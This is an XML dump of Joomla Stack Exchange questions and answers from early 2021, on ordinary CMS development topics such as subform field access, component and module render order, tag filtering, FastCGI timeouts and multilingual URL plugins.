  <row Id="28895" PostTypeId="2" ParentId="28887" CreationDate="2021-02-22T11:41:02.740" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;The Modal-Backdrop Div somehow wasnt removed if I closed the modal container as soon as I changed the opacity. This CSS helped:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;.modal-backdrop.fade.in {&#xA;    opacity: 0.5 !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Enable &amp;quot;Submit&amp;quot;-Button with Checkbox:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&amp;quot;checkbox&amp;quot; onchange=&amp;quot;document.getElementById('unlock').disabled = !this.checked;&amp;quot; /&amp;gt; ...&#xA;&amp;lt;button type=&amp;quot;submit cursor-pointer&amp;quot; id=&amp;quot;unlock&amp;quot; class=&amp;quot;btn btn-primary&amp;quot; onclick=&amp;quot;Joomla.submitbutton('...');&amp;quot; disabled&amp;gt;Unlock&amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14840" LastActivityDate="2021-02-22T11:41:02.740" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28896" PostTypeId="1" AcceptedAnswerId="28898" CreationDate="2021-02-22T17:36:26.810" Score="0" ViewCount="48" Body="&lt;p&gt;I have a page with modules and components from the same extension. I made some customizations to the component's template file so when the page loads it gets the current user's avatar from some external resource and update it to one of the component's tables. This avatar is also used by the modules on the same page. So I need to make sure the PHP code in the component's template is executed before the module's PHP code is executed, otherwise the avatar in the module won't show up.&lt;/p&gt;&#xA;&lt;p&gt;So, is the component exectued before the module?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2021-02-22T20:41:25.703" Title="Which content is generated first? component or module?" Tags="|php|component|module|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28897" PostTypeId="2" ParentId="28896" CreationDate="2021-02-22T17:59:13.727" Score="0" Body="&lt;p&gt;If you look at your active template, most of the cases in the file called index.php.&lt;/p&gt;&#xA;&lt;p&gt;You can find a tag to render the component:&lt;/p&gt;&#xA;&lt;p&gt;&amp;lt;jdoc: include type = &amp;quot;component&amp;quot; /&amp;gt;&lt;/p&gt;&#xA;&lt;p&gt;And some others to render the modules according to their position:&lt;/p&gt;&#xA;&lt;p&gt;&amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;top&amp;quot; style=&amp;quot;xhtml&amp;quot;/&amp;gt;&lt;/p&gt;&#xA;&lt;p&gt;This one will render modules in the &amp;quot;top&amp;quot; position.&lt;/p&gt;&#xA;&lt;p&gt;Therefore some modules are rendered before and others after the component according to the order they are placed in the template.&lt;/p&gt;&#xA;&lt;p&gt;Hope this can help&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2021-02-22T17:59:13.727" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28898" PostTypeId="2" ParentId="28896" CreationDate="2021-02-22T20:41:25.703" Score="0" Body="&lt;p&gt;The component is always dispatched before the modules. But you might want to reconsider your code. Such dependency doesn't sound like a good idea.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-02-22T20:41:25.703" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28899" PostTypeId="1" CreationDate="2021-02-22T20:45:59.810" Score="1" ViewCount="216" Body="&lt;p&gt;I made a custom field and using it in a subform looking somewhat like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;config&amp;gt;&#xA;    &amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&amp;quot;basic&amp;quot; addfieldpath=&amp;quot;/administrator/components/com_mycomp/models/fields&amp;quot;&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;base_url&amp;quot; type=&amp;quot;url&amp;quot; required=&amp;quot;true&amp;quot; default=&amp;quot;&amp;quot; label=&amp;quot;base_url&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;examplefield&amp;quot; type=&amp;quot;text&amp;quot; required=&amp;quot;true&amp;quot; default=&amp;quot;&amp;quot; label=&amp;quot;examplefield&amp;quot; /&amp;gt;&#xA;&#xA;            &amp;lt;field name=&amp;quot;items&amp;quot; type=&amp;quot;subform&amp;quot; multiple=&amp;quot;true&amp;quot; min=&amp;quot;1&amp;quot; layout=&amp;quot;joomla.form.field.subform.repeatable-table&amp;quot; buttons=&amp;quot;add,remove&amp;quot; groupByFieldset=&amp;quot;false&amp;quot; label=&amp;quot;items&amp;quot;&amp;gt;&#xA;                &amp;lt;form&amp;gt;&#xA;                    &amp;lt;fieldset name=&amp;quot;section1&amp;quot; label=&amp;quot;Section1&amp;quot;&amp;gt;&#xA;                        &amp;lt;field name=&amp;quot;item&amp;quot; label=&amp;quot;item&amp;quot; type=&amp;quot;myfield&amp;quot; /&amp;gt;&#xA;                    &amp;lt;/fieldset&amp;gt;&#xA;                &amp;lt;/form&amp;gt;&#xA;            &amp;lt;/field&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The custom field &amp;quot;myfield&amp;quot; needs to access the value from the base_url field in the parent form:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;JFormHelper::loadFieldClass('list');&#xA;&#xA;class JFormFieldMyfield extends JFormFieldList&#xA;{&#xA;    protected $type = 'Myfield';&#xA;&#xA;    public function getOptions() {&#xA;&#xA;        // need to access base_url field value&#xA;&#xA;        // not working with subform&#xA;        // $base_url = $this-&amp;gt;form-&amp;gt;getFieldset('basic', 'jform')['jform_params_base_url']-&amp;gt;value;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Before i made a subform out of this i could do it like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$base_url = $this-&amp;gt;form-&amp;gt;getFieldset('basic', 'jform')['jform_params_base_url']-&amp;gt;value;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Whats the best way to access values of fields in the parent form?&lt;/p&gt;&#xA;" OwnerUserId="3822" LastActivityDate="2024-03-09T18:06:30.793" Title="Access parent field value out of subform" Tags="|form|subform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28901" PostTypeId="2" ParentId="28899" CreationDate="2021-02-23T09:00:06.643" Score="0" Body="&lt;p&gt;I don't think there's a proper way of doing this without having to subclass the subform field and possibly the form class as well. But if your field is &amp;quot;one use only&amp;quot;, i.e. you only mean it to be used in a specific form for your own purposes, you could try using &lt;code&gt;Joomla\CMS\Form\Form::getInstance()&lt;/code&gt; with the name of the form.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Form\Form;&#xA;&#xA;// Get the form instance. Replace com_plugins.plugin with the name of your form.&#xA;$parentForm = Form::getInstance('com_plugins.plugin');&#xA;&#xA;Get the field value.&#xA;$baseUrl = $parentForm-&amp;gt;getValue('base_url', 'params');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-02-23T09:00:06.643" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28902" PostTypeId="2" ParentId="28899" CreationDate="2021-02-23T11:30:43.910" Score="0" Body="&lt;p&gt;This is the way it worked for me:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$plugin = JPluginHelper::getPlugin('system', 'myplugin');&#xA;$params = new JRegistry($plugin-&amp;gt;params);&#xA;$baseUrl = $params-&amp;gt;get('base_url', '');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3822" LastActivityDate="2021-02-23T11:30:43.910" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28903" PostTypeId="1" CreationDate="2021-02-23T23:39:42.990" Score="1" ViewCount="99" Body="&lt;p&gt;Hoping someone can provide some insight on this one; I've been stuck on this last piece of the puzzle for a while and have yet to figure it out in Joomla 3.9. Apologies for the long explanation.&lt;/p&gt;&#xA;&lt;p&gt;I need to filter &lt;code&gt;com_content&lt;/code&gt; based on &lt;code&gt;com_tags&lt;/code&gt; items in various places - category views, category articles, modules, featured views etc. A lot of this can be achieved with the Joomla core, but some areas and modules were found wanting, so I have patched those appropriately using a plugin &lt;code&gt;onAfterRoute&lt;/code&gt; event, where I check for published tags, and insert those into the &lt;code&gt;filter.tags&lt;/code&gt; state. This all works fine, except for subcategories.&lt;/p&gt;&#xA;&lt;p&gt;The purpose of this is to have multiple menu items linked to categories which may or may not have subcategories. Each category may have one or more tags assigned to it, and should not be rendered if its tag is not published. This is working for filtering out articles in a category view, but does not filter out subcategories. I can see that the Category model does include a &lt;code&gt;filter.tag&lt;/code&gt; and I am harnessing that by setting the appropriate tags in the &lt;code&gt;filter.state&lt;/code&gt; and those categories without published tags are not being rendered.&lt;/p&gt;&#xA;&lt;p&gt;However, where the category contains subcategories, with articles within those subcategories, I end up with a category view that displays all subcategories, navigating into one of those subcategories then displays the category view with the appropriately filtered articles.&lt;/p&gt;&#xA;&lt;p&gt;As a simplified working example, the plugin can do this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onAfterRoute() {&#xA;    $app = Factory::getApplication();&#xA;    $input = $app-&amp;gt;input;&#xA;    $option = $input-&amp;gt;getString('option', '');&#xA;    $view = $input-&amp;gt;getString('view', '');&#xA;    $itemid = $input-&amp;gt;getInt('id', 0) . ':' . $input-&amp;gt;getInt('Itemid', 0);&#xA;    // Hardcoded tags. &#xA;    $filterMyTags = array(1,3,5);&#xA;&#xA;    if ($option === 'com_content' &amp;amp;&amp;amp; $view === 'category') {&#xA;       $app-&amp;gt;setUserState('com_content.category.filter.'.$itemid.'.tag', $filterMyTags);&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The result of the above is that articles with tag ID's 1, 3 and 5 will rendered. Any content with other tags, will not be rendered.&lt;/p&gt;&#xA;&lt;p&gt;However, this doesn't appear to work for subcategories rendered by blog_children.php, but the articles within the subcategory do get filtered, so the user ends up clicking into a subcategory where potentially all articles have been filtered, in which case I have had to extend the plugin to redirect the user back out, which is horrible. I'd rather filter the subcategory from the onset.&lt;/p&gt;&#xA;&lt;p&gt;What am I missing? I located the category model in the administrator which does appear to have  necessary filtering code (and it does; because you can filter categories by tag in the admin no problem). However, I think the recursion for &lt;code&gt;getChildren()&lt;/code&gt; in the frontend com_content category model does not include any states except access and publication states.&lt;/p&gt;&#xA;&lt;p&gt;Anybody fancy a stab in the dark at this one? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2021-02-23T23:39:42.990" Title="Filtering Subcategories by Tag" Tags="|tags|subcategories|content-filtering|filter|categories|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28904" PostTypeId="2" ParentId="28891" CreationDate="2021-02-23T23:52:33.990" Score="2" Body="&lt;p&gt;I have done similar to this before, where the end user was not happy using &lt;code&gt;FR&lt;/code&gt; for French because they use a variant of French for which a language pack doesn't exist. In the end, I duplicated the French language pack, renamed fr-FR to fr-KA and set it up as an entirely new language, to produce individual URL's for French and their localised French KA language.&lt;/p&gt;&#xA;&lt;p&gt;As for selecting a country to determine language, that isn't a great user experience either. I would push back on that requirement if at all possible. Let's take Switzerland as an example, where official languages include German, French, Italian and Romansh. You can see the obvious problem here, which is exactly why I would leave it to use the native Joomla functionality for this (see language filter plugin), where the users browser language primarily determines the site language, then display an option to change language at the users peril.&lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2021-02-23T23:52:33.990" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28905" PostTypeId="2" ParentId="28880" CreationDate="2021-02-24T00:03:22.557" Score="1" Body="&lt;p&gt;You can do this with a content plugin quite easily. See &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_content_plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;this guide&lt;/a&gt; for starters.&lt;/p&gt;&#xA;&lt;p&gt;You create the XML in your plugin &lt;code&gt;form/modwhatever.xml&lt;/code&gt;. Now you can add whatever fields you wish - you might want to look at the articles form for examples of user, publishing dates etc, which can be located in &lt;code&gt;administrator/components/com_content/models/forms/article.xml&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Your plugin would implement a method like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    public function onContentPrepareForm($form, $data)&#xA;    {&#xA;&#xA;        $app = JFactory::getApplication();&#xA;        $option = $app-&amp;gt;input-&amp;gt;get('option');&#xA;&#xA;        switch ($option) {&#xA;&#xA;            case 'mod_whatever':&#xA;&#xA;                if ($app-&amp;gt;isAdmin()) {&#xA;&#xA;                    JForm::addFormPath(__DIR__ . '/forms');&#xA;&#xA;                    $form-&amp;gt;loadFile('modwhatever', false);&#xA;&#xA;                }&#xA;&#xA;                return true;&#xA;&#xA;        }&#xA;&#xA;        return true;&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To ensure you don't need to apply any further changes, you can use the &lt;code&gt;attribs&lt;/code&gt; form as a basis so that your new fields are available on the modules params, e.g.:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;  &amp;lt;fields name=&amp;quot;attribs&amp;quot;&amp;gt;&#xA;     &amp;lt;fieldset name=&amp;quot;customstuff&amp;quot; label=&amp;quot;Custom Stuff&amp;quot;&amp;gt;&#xA;        &amp;lt;field &#xA;            name=&amp;quot;created_by&amp;quot; &#xA;            type=&amp;quot;user&amp;quot;&#xA;            label=&amp;quot;COM_CONTENT_FIELD_CREATED_BY_LABEL&amp;quot; &#xA;            description=&amp;quot;COM_CONTENT_FIELD_CREATED_BY_DESC&amp;quot; &#xA;        /&amp;gt;&#xA;&#xA;        &amp;lt;field &#xA;            name=&amp;quot;created_by_alias&amp;quot; &#xA;            type=&amp;quot;text&amp;quot;&#xA;            label=&amp;quot;COM_CONTENT_FIELD_CREATED_BY_ALIAS_LABEL&amp;quot; &#xA;            description=&amp;quot;COM_CONTENT_FIELD_CREATED_BY_ALIAS_DESC&amp;quot;&#xA;            size=&amp;quot;20&amp;quot; &#xA;        /&amp;gt;&#xA;     &amp;lt;/fieldset&amp;gt;&#xA;  &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2021-02-24T00:03:22.557" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28906" PostTypeId="1" AcceptedAnswerId="28907" CreationDate="2021-02-24T00:16:53.467" Score="0" ViewCount="51" Body="&lt;p&gt;In which table are stored the data of a simple repeatable field of a module. I mean when you hit save  somewhow the field values are saved somewhere right?&#xA;So the question is where they are saved? In which table?&lt;/p&gt;&#xA;" OwnerUserId="14144" LastActivityDate="2021-02-24T00:23:08.813" Title="Where are joomla repeatable field values stored in database?" Tags="|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28907" PostTypeId="2" ParentId="28906" CreationDate="2021-02-24T00:23:08.813" Score="0" Body="&lt;p&gt;They are stored as a json_encoded array in the &lt;code&gt;params&lt;/code&gt; of the &lt;code&gt;#_modules&lt;/code&gt; table of the respective module.&lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2021-02-24T00:23:08.813" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28910" PostTypeId="1" CreationDate="2021-02-25T09:47:45.163" Score="1" ViewCount="233" Body="&lt;p&gt;Joomla 3.9.24&lt;/p&gt;&#xA;&lt;p&gt;There's a &lt;a href=&quot;https://joomla.stackexchange.com/questions/4062/user-verification-link-message&quot;&gt;similar question here&lt;/a&gt; but it deals with changing the language string, whereas I'd like to change the page content and / or redirect.&lt;/p&gt;&#xA;&lt;p&gt;I have allowed user registration on my site and the &lt;code&gt;New User Account Activation&lt;/code&gt; option is set to &lt;code&gt;Admin&lt;/code&gt;, so the user will be emailed a link to activate their account before they can log in. Then all users set to receive system emails and who have the permission to create users will be notified to activate the user's account.&lt;/p&gt;&#xA;&lt;p&gt;This works as expected. However if the user clicks the activation link a second time the following message is displayed;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Error 403 - verification code not found&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The same applies to the admin approval stage, e.g. Staff Member A clicks the activation link to approve the user, all fine. Then Staff Member B clicks the same activation link later that day, they see;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Error 403 - verification code not found&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It seems logical, and good UX, that rather than a &lt;code&gt;403 error&lt;/code&gt; (which normally means access is forbidden), there should be a custom message displayed to the user e.g.;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Sorry, there was a problem, we couldn't validate that code, it may be:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Already validated&lt;/li&gt;&#xA;&lt;li&gt;Expired&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Is there any way to display / redirect to a custom URL if the user has already been activated? Preferably without editing core files.&lt;/p&gt;&#xA;&lt;p&gt;I'm aware that Joomla does not store the activation token once a user has been activated.&lt;/p&gt;&#xA;&lt;p&gt;Presumably I'd have to check that the activation token didn't exist, then check that the user did exist and was activated? Then display the custom content? Not sure where or how to start this customisation.&lt;/p&gt;&#xA;&lt;p&gt;Do I need to override core files? Create a custom plugin?&lt;/p&gt;&#xA;&lt;p&gt;Could be reading into this too much but I think it should be a core feature of Joomla? Other sites I've registered on have this functionality (e.g. MailChimp).&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2021-10-21T14:50:07.930" LastActivityDate="2024-03-10T11:06:25.703" Title="403 Error Page Alternative for Already Registered Users" Tags="|user|redirect|registration|custom-action|user-registration|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28911" PostTypeId="2" ParentId="28891" CreationDate="2021-02-26T00:41:41.490" Score="0" Body="&lt;p&gt;As a native Spanish speaking person, I absoultely hate when a website assumes I would like to have their content served to me in any given language due to my current IP. Just because your IP is from Mexico, that does not mean that the visitor speaks &amp;quot;Mexican Spanish&amp;quot;. There are, in fact, lots of people who are in Mexico and don't speak the language (because they are tourists, migrants, or whatever).&lt;/p&gt;&#xA;&lt;p&gt;Now, in response to your question, I can point you to donweb.com. This company is in the web hosting business and faced the same problem: how to fake you are dealing locally, when in fact you are not. Their solution is pretty simple: write 2 different interfaces (for Spanish and English), and populate the page with localized media that do not affect the interface. The Spanish is the one who is spoken in Argentina, but the pictures and offers are taken from the local cultures.&lt;/p&gt;&#xA;" OwnerUserId="14949" LastActivityDate="2021-02-26T00:41:41.490" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28912" PostTypeId="2" ParentId="28679" CreationDate="2021-02-26T08:57:35.077" Score="1" Body="&lt;p&gt;I fixed it with the following code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if(!isset($this-&amp;gt;item-&amp;gt;jcfields)){&#xA;&#xA;    $this-&amp;gt;item-&amp;gt;jcfields = FieldsHelper::getFields('com_content.article', $this-&amp;gt;item, true);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5642" LastActivityDate="2021-02-26T08:57:35.077" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28913" PostTypeId="2" ParentId="28890" CreationDate="2021-02-26T09:07:20.830" Score="0" Body="&lt;p&gt;As mentioned in the comments, there is an inconsistency in &lt;code&gt;com_users&lt;/code&gt; which requires to create the plugin in &lt;code&gt;system&lt;/code&gt; group for both &lt;code&gt;onContentPrepareForm&lt;/code&gt; and &lt;code&gt;onContentPrepareData&lt;/code&gt; events to work.&lt;/p&gt;&#xA;&lt;p&gt;Change &lt;code&gt;group&lt;/code&gt; attribute value in the manifest file to &lt;code&gt;system&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;extension type=&amp;quot;plugin&amp;quot; group=&amp;quot;system&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Change plugin class name to follow &lt;code&gt;Plg&amp;lt;Group&amp;gt;&amp;lt;Name&amp;gt;&lt;/code&gt; convention, e.g. &lt;code&gt;PlgSystemExample&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In plugin code change context checks to compare against &lt;code&gt;com_users.group&lt;/code&gt;, e.g. in &lt;code&gt;onContentPrepareData&lt;/code&gt; event:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Check we are manipulating a valid form. Return early if not.&#xA;if ($context !== 'com_users.group')&#xA;{&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-02-26T09:07:20.830" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28915" PostTypeId="1" AcceptedAnswerId="28916" CreationDate="2021-02-28T02:47:50.757" Score="2" ViewCount="489" Body="&lt;p&gt;On my site, after new user registration, a 500 server error occurs.&#xA;The error log says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;mod_fcgid: read data timeout in 31 seconds, referer: &lt;a href=&quot;https://mysite.com/login?view=registration&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mysite.com/login?view=registration&lt;/a&gt;&#xA;End of script output before headers: index.php, referer: &lt;a href=&quot;https://mysite.com/login?view=registration&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mysite.com/login?view=registration&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;There is no other indication where this error comes from.&#xA;I have raised the max execution time to 300secons in php.ini, trying to see if there will be more information in the error log, however, the error still occurs after &amp;quot;31&amp;quot; seconds.&#xA;Although the user is successfully created.&lt;/p&gt;&#xA;&lt;p&gt;It is unlikely a server configuration error, my other sites on the same server are working well, one of them was cloned from the website in question about 1 month ago. During this month, I did make some change to the codes, but they are mostly made to some extensions. So I really can't think of any reason that may cause this issue.&lt;/p&gt;&#xA;&lt;p&gt;Since the error occurs after the user is created, I have tried disabling all plugins in the user category, but the error still occurs.&lt;/p&gt;&#xA;&lt;p&gt;Can someone point me to a right direction of how to debug this?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="5680" LastEditDate="2021-02-28T05:00:52.120" LastActivityDate="2021-02-28T07:14:31.117" Title="How to debug: read data timeout / End of script" Tags="|debug|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28916" PostTypeId="2" ParentId="28915" CreationDate="2021-02-28T07:14:31.117" Score="4" Body="&lt;p&gt;There's multiple settings in PHP and Apache that can cause timeouts.&lt;/p&gt;&#xA;&lt;p&gt;From your error message, the issue is not the PHP Max Execution time, but with FastCGI. This is a programming interface on Apache web servers that is used to improve server performance.&lt;/p&gt;&#xA;&lt;p&gt;The error is in your host's FastCGI configuration. Check the value for FcgidIOTimeout, which defaults to 40 seconds, but may be 30 seconds on your server (hence causing an error at 31 seconds).&lt;/p&gt;&#xA;&lt;p&gt;The setting:&#xA;&lt;a href=&quot;http://httpd.apache.org/mod_fcgid/mod/mod_fcgid.html#fcgidiotimeout&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://httpd.apache.org/mod_fcgid/mod/mod_fcgid.html#fcgidiotimeout&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The details on where to fix it (via Plesk support)&#xA;&lt;a href=&quot;https://support.plesk.com/hc/en-us/articles/213374769-Website-or-webmail-shows-500-internal-server-error-on-Plesk-mod-fcgid-read-data-timeout&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.plesk.com/hc/en-us/articles/213374769-Website-or-webmail-shows-500-internal-server-error-on-Plesk-mod-fcgid-read-data-timeout&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14062" LastActivityDate="2021-02-28T07:14:31.117" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28917" PostTypeId="2" ParentId="28891" CreationDate="2021-03-01T23:17:05.177" Score="2" Body="&lt;p&gt;I have managed to reproduce your use case in a development environment using Docker.&lt;/p&gt;&#xA;&lt;p&gt;Here is a short video for the demo:&#xA;&lt;a href=&quot;https://www.loom.com/share/b2b5cc88424c42c7a322cf66c451423e&quot; rel=&quot;nofollow noreferrer&quot;&gt;Video demo of how it works&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here is the link to the plugin source code, zipped extension and zipped backup reproducible dev environment showed in the video demo:&#xA;&lt;a href=&quot;https://github.com/alexandreelise/plg_system_compoundlanguagefilter&quot; rel=&quot;nofollow noreferrer&quot;&gt;Link to the plugin source code and the dev environment backup&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here is the overall process:&lt;/p&gt;&#xA;&lt;h1&gt;System - Compound Language Filter&lt;/h1&gt;&#xA;&lt;h2&gt;Joomla! System Plugin&lt;/h2&gt;&#xA;&lt;p&gt;This plugin is based on the core language filter plugin and adds the feature of using multiple sef language tag&#xA;in the URL associated with the same language internally.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;HOW IT WORKS:&#xA;This plugin is an enhancement of the language filter plugin. It enables the possibility to have&#xA;one-to-many relationships from one source language to any other &amp;quot;virtual languages&amp;quot;. I call them virtual languages&#xA;because they are actually not installed in Joomla! What I did to achieve this is to leverage the power of the Joomla!&#xA;subforms and use part of the com_languages form from the admin area and add to it what I called the &amp;quot;source_language&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;The source_language is a standard form field from Joomla! which lists the installed languages of the &amp;quot;Frontend&amp;quot;&#xA;part of Joomla!&lt;/p&gt;&#xA;&lt;p&gt;The website I built to reproduce the use case is a multilingual website with 4 languages; French, English,&#xA;Spanish, and German.&lt;/p&gt;&#xA;&lt;p&gt;In order to use the name of the country rather than the language name, we can simply change the title of the&#xA;language and/or the native title accordingly. Moreover, I added the possibility to choose the &amp;quot;virtual languages&amp;quot; and the installed languages from the &lt;code&gt;mod_languages&lt;/code&gt; module whose Helper class has been dynamically replaced by another one by my system plugin so as to have this custom functionality.&lt;/p&gt;&#xA;&lt;p&gt;By merging the subform results and the installed languages result using Joomla! Registry. It allows a powerful tool to&#xA;address this use case.&lt;/p&gt;&#xA;&lt;p&gt;With all this you are now able to do as you describe.&lt;/p&gt;&#xA;&lt;p&gt;NOTE: This implementation also changes the website to be multilingual for either &amp;quot;virtual languages&amp;quot; and&#xA;installed languages.&lt;/p&gt;&#xA;&lt;p&gt;Just one side note:&lt;br&gt;&#xA;The URL of type &lt;code&gt;/ar&lt;/code&gt; changes the active menu item to Spain and the content is in Spanish, but the menu item doesn't stay on Argentina&#xA;(I think you can get around that, but I didn't have much time to answer your question).&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;INSTRUCTIONS:&lt;/p&gt;&#xA;&lt;p&gt;This Joomla! plugin source code is in the &lt;code&gt;src/&lt;/code&gt; directory of this zip file.&#xA;The final extension is in the &lt;code&gt;build/&lt;/code&gt; directory.&#xA;If you want to build the extension yourself, make sure you have the &lt;code&gt;make&lt;/code&gt; utility on your machine.&#xA;It is generally provided by default on Linux and MacOS machines; maybe not on Windows.&#xA;Once you have &lt;code&gt;make&lt;/code&gt; installed,&#xA;you can type in your terminal: (you must be in the directory on the &lt;code&gt;Makefile&lt;/code&gt;)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;make gen&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The Makefile &lt;code&gt;gen&lt;/code&gt; rule will check that the PHP files has no syntax errors and create a zip file tagged by the current datetime in the &lt;code&gt;build/&lt;/code&gt; directory.&lt;/p&gt;&#xA;&lt;p&gt;If you don't want to bother doing this. Just install the already built extension from the &lt;code&gt;build/&lt;/code&gt; directory.&lt;/p&gt;&#xA;" OwnerUserId="9588" LastEditorUserId="9485" LastEditDate="2023-01-17T16:41:12.017" LastActivityDate="2023-01-17T16:41:12.017" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
